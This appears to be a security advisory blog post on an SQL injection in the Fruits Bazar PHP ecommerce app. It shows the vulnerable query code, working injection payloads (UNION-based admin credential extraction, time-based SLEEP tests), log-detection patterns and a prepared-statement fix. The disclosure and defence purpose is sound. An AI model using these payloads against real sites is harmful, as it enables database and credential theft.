SECURITYCRITICALCVE-2025-65336

CVE-2025-65336: Critical SQL Injection in Fruits Bazar PHP Ecommerce

CVSS 9.8 SQL injection vulnerability in the show_price_by_pdtId.php endpoint of the Fruits Bazar PHP/MySQLi ecommerce project allows unauthenticated...

Dylan H.

Security Team

July 31, 2026
2 min read
CVE-2025-65336: Critical SQL Injection in Fruits Bazar PHP Ecommerce

Critical severity

Rated critical. Prioritise patching — see the remediation guidance below.

Affected Products

  • Ecommerce-project-with-php-and-mysqli Fruits Bazar 1.0

Overview

A critical SQL injection vulnerability (CVSS 9.8) has been identified in the Fruits Bazar ecommerce application, a PHP and MySQLi-based online store available on SourceCodester and similar code-sharing platforms. The flaw resides in the /show_price_by_pdtId.php endpoint and allows an unauthenticated remote attacker to execute arbitrary SQL statements against the application's database.

Vulnerability Summary

AttributeValue
CVE IDCVE-2025-65336
CVSS Score9.8 (Critical)
Attack VectorNetwork
AuthenticationNone required
TypeSQL Injection
Affected VersionFruits Bazar 1.0
Patched VersionNone disclosed

Technical Details

The vulnerable endpoint accepts a user-supplied product ID (pdtId) via the query string and interpolates it directly into a SQL query without sanitization or parameterization.

Vulnerable Code Pattern

<?php
// show_price_by_pdtId.php — simplified representation
$pdtId = $_GET['pdtId']; // Unsanitized user input
 
$query = "SELECT price FROM products WHERE id = $pdtId";
$result = mysqli_query($conn, $query);

Proof-of-Concept Requests

Basic extraction (Boolean-based):

GET /show_price_by_pdtId.php?pdtId=1 OR 1=1-- HTTP/1.1
Host: vulnerable-target.example

UNION-based data dump:

GET /show_price_by_pdtId.php?pdtId=0 UNION SELECT table_name FROM information_schema.tables-- HTTP/1.1
Host: vulnerable-target.example

Credential extraction:

GET /show_price_by_pdtId.php?pdtId=0 UNION SELECT CONCAT(username,':',password) FROM admin-- HTTP/1.1
Host: vulnerable-target.example

Impact

A successful exploit allows an attacker to:

  • Read all database contents — customer PII, order history, product inventory
  • Extract admin credentials — usernames and password hashes from the admin table
  • Modify or delete records — stacked queries may allow UPDATE/DELETE if the DB user has write privileges
  • Enumerate database structure — enumerate tables, columns, and stored procedures via information_schema

Detection

Manual Testing

# Basic injection test — look for changed output or errors
curl "http://TARGET/show_price_by_pdtId.php?pdtId=1'"
 
# Time-based blind SQLi confirmation
curl "http://TARGET/show_price_by_pdtId.php?pdtId=1 AND SLEEP(5)--"

WAF / IDS Signatures

Look for these patterns in web server access logs:

Patterns indicating exploitation attempts:
- UNION SELECT
- OR 1=1
- information_schema
- SLEEP(
- BENCHMARK(
- single quotes in numeric parameters
# Search Apache/Nginx logs for SQLi attempts
grep -iE "(union|select|information_schema|sleep|benchmark|or\s+1=1)" /var/log/apache2/access.log

Remediation

Immediate Fix — Use Prepared Statements

Replace string interpolation with parameterized queries:

<?php
// FIXED: Use prepared statement with bound parameter
$pdtId = $_GET['pdtId'];
 
// Validate input is numeric first
if (!is_numeric($pdtId)) {
    http_response_code(400);
    exit('Invalid product ID');
}
 
$stmt = $conn->prepare("SELECT price FROM products WHERE id = ?");
$stmt->bind_param("i", $pdtId);
$stmt->execute();
$result = $stmt->get_result();

Defence-in-Depth Measures

1. Input Validation
   - Enforce strict type checking (intval() for numeric IDs)
   - Reject requests where expected numeric params contain non-numeric chars
 
2. Least Privilege Database Account
   - Application DB user should have SELECT-only where writes aren't needed
   - Never use root/admin credentials in the web app config
 
3. Web Application Firewall
   - Deploy ModSecurity or equivalent with OWASP CRS ruleset
   - Enable SQL injection detection rules
 
4. Error Handling
   - Suppress verbose database errors in production
   - Log errors server-side, return generic messages to clients
 
5. Dependency Hygiene
   - Avoid deploying unaudited open-source ecommerce scripts directly to production
   - Conduct a code review before exposing any PHP project to the internet

Affected Platforms

The Fruits Bazar application is distributed freely on platforms such as SourceCodester, PHPGurukul, and similar sites. Deployments used for learning or development that have been accidentally internet-exposed are at risk. The vendor has not released a patch as of the advisory date.

References

Advisory published: July 31, 2026

Related Advisories